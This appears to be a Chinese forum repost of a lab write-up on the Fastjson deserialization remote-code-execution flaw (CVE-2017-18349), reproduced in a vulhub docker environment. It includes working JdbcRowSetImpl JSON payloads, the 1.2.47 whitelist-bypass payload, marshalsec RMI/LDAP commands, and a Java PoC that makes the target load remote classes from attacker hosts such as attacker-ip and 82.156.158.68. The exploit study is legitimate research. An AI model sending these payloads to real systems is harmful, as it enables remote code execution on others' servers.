农妇山泉一亩田 发表于 2024-5-19 09:19:58

Fastjson反序列化漏洞

目次

[*]漏洞原理
[*]复现

[*]Fastjson 1.2.24
[*]Fastjson 1.2.47

[*]漏洞分析

Fastjson 是阿里巴巴开源的一个Java库,用于将Java对象转换为JSON字符串(序列化),以及将JSON字符串转换为Java对象(反序列化),漏洞编号CVE-2017-18349。
漏洞原理

Fastjson 引入了 autoType 功能,允许在反序列化过程中通过 @type 指定一个类的全限定名,Fastjson将会尝试创建该类的实例。
如果服务端反序列化了不可信的JSON数据,攻击者可以构造特定的JSON字符串,使得Fastjson在反序列化时实例化攻击者指定的类,并大概调用该类中的方法,导致远程代码执行。
举个例子:
假设想要利用Fastjson反序列化漏洞来执行远程代码
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://attacker-ip/Exploit",
"autoCommit": true
}这里的 @type 是告诉Fastjson反序列化时创建 com.sun.rowset.JdbcRowSetImpl 类的实例。
dataSourceName 这是 JdbcRowSetImpl 类的一个属性,可以设置它的值为一个RMI服务器的URL。当Fastjson反序列化这个JSON时,会尝试根据这个URL去指定的RMI服务器中去调用方法。
当Fastjson设置 autoCommit 这个值为 true 时,会触发一个连接操作,进而导致 JdbcRowSetImpl 尝试从RMI服务器加载类。
复现

Fastjson 1.2.24

影响版本:Fastjson < 1.2.25
环境搭建:利用 vulhub 搭建
cd /vulhub/fastjson/1.2.24-rce
docker compose up -d访问 8090 端口,POST一个json对象,可以更新服务端的json的输出:
https://img2024.cnblogs.com/blog/3222269/202405/3222269-20240503223845849-1439951079.png
首先需要的在本地编译一个class文件,目标是让靶机通过RMI服务远程加载这个类,执行此中的代码。
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
      try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success-fasrjson"};
            Process pc = rt.exec(commands);
            pc.waitFor();
      } catch (Exception e) {
            // do nothing
      }
    }
}class文件编译好以后,在class文件所在目次启用一个 python http 服务,让靶机可以访问到这个文件。
python3 -m http.server 1234 # 监听在1234端口https://img2024.cnblogs.com/blog/3222269/202405/3222269-20240503221914025-1699446503.png
还需要利用 marshalsec 这个项目来启动一个RMI服务。
git clone https://github.com/mbechler/marshalsec
cd marshalsec
apt-get install maven
mvn clean package -DskipTests # 使用jdk8来构建这个项目如果maven构建速率太慢,可以在 /usr/share/maven/conf/settings.xml 换源。
https://img2024.cnblogs.com/blog/3222269/202405/3222269-20240503222118180-201446617.png
启动一个RMI服务器,监听 1099 端口(RMI服务默认在1099端口),并指定加载远程类文件:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.88.128:1234/#TouchFile" 1099向靶机POST如下Paylaod,使靶机创建一个JdbcRowSetImpl对象,并调用TouchFile类。
https://img2024.cnblogs.com/blog/3222269/202405/3222269-20240503223615248-100206919.png
靶机回连本地RMI服务,RMI服务端收到请求:
https://img2024.cnblogs.com/blog/3222269/202405/3222269-20240503223521529-1341701053.png
python服务端收到请求,返回了TouchFile类:
https://img2024.cnblogs.com/blog/3222269/202405/3222269-20240503223537990-1221138821.png
进入到靶机docker环境中,可以看到 /tmp/success-fastjson 文件已经成功创建,利用成功。
https://img2024.cnblogs.com/blog/3222269/202405/3222269-20240503225312473-274418005.png
除了基于RMI的利用方式,还有基于 LDAP 的利用方式。和RMI的利用方式类似。
还是用 marshalsec, 启动一个LDAP的服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.88.128:1234/#TouchFile" 1099POST JSON Paylaod:
{
    "b":{
      "@type":"com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName":"ldap://192.168.88.128:1099/TouchFile",
      "autoCommit":true
    }
}Fastjson 1.2.47

Fastjson在 1.2.24 版本后增加了反序列化白名单,在 1.2.48 以前的版本中,可以利用特殊构造的json字符串绕过白名单检测,成功执行恣意下令。
JSON Payload:
{
    "a":{
      "@type":"java.lang.Class",
      "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
      "@type":"com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName":"rmi://attacker-ip/Exploit",
      "autoCommit":true
    }
}漏洞分析

我的Java基础没那么好,这里就联合其他师傅写的文章浅浅地分析一下。
Fastjson漏洞的几个关键函数:
DefaultJSONParser.parseObject() 解析传入的 json 字符串提取差别的 key 进行后续的处理。
TypeUtils.loadClass() 根据传入的类名,天生类的实例。
JavaBeanDeserializer.Deserialze() 依次调用 @type 中传入类的对象公有 set\get\is 方法。
ParserConfig.checkAutoType() 阿里后续添加的防护函数,用于在 loadclass 前检查传入的类是否合法。
首先来看看 1.2.24 版本,274行此处判定如果含有@type标记,则调用lexer.scanSymbol,返回的ref就是@type的值,然后直接利用TypeUtils.loadClass()来天生类的实例clazz。同时1.2.24版本的autoType是默认开启的,autotype功能允许在JSON字符串中通过@type指定一个类的全限定名,然后在反序列化时创建这个类对象,从而就引发了这个反序列化漏洞。
https://img2024.cnblogs.com/blog/3222269/202405/3222269-20240504121047030-1642426242.png
接着来看看 1.2.25 版本是如何修复的,自从1.2.25起autotype默认为False,同时增加了 checkAutoType 方法,不再是直接加载类,在该方法中进行黑名单校验,同时增加白名单机制。
https://img2024.cnblogs.com/blog/3222269/202405/3222269-20240504122458094-2073346676.png
但是这个防御的措施并不完美,原生的 AutoType 相关检查会被被绕过。
1.2.25-1.2.47 版本补丁绕过
漏洞原理是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测。
这里有两个版本段:

[*]1.2.25-1.2.32 版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
[*]1.2.33-1.2.47 版本:无论是否开启 AutoTypeSupport,都能成功利用
POC
import com.alibaba.fastjson.JSON;

public class Demo {
    public static void main(String[] args) {
      String PoC = "{\n" +
                "    \"a\":{\n" +
                "      \"@type\":\"java.lang.Class\",\n" +
                "      \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
                "    },\n" +
                "    \"b\":{\n" +
                "      \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
                "      \"dataSourceName\":\"ldap://82.156.158.68:1389/EvilClass\",\n" +
                "      \"autoCommit\":true\n" +                "    }\n" +
                "}";
      JSON.parse(PoC);
    }
}参考文章
https://vulhub.org/#/environments/fastjson/1.2.24-rce/
https://github.com/luckyfuture0177/VULOnceMore/blob/main/Java框架/CVE-2017-18349Fastjson反序列化.md
https://www.clementi.top/2023/09/24/Fastjson反序列化漏洞复现/index.html
https://www.freebuf.com/vuls/208339.html
https://cert.360.cn/warning/detail?id=7240aeab581c6dc2c9c5350756079955
若有错误,接待指正!o( ̄▽ ̄)ブ

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: Fastjson反序列化漏洞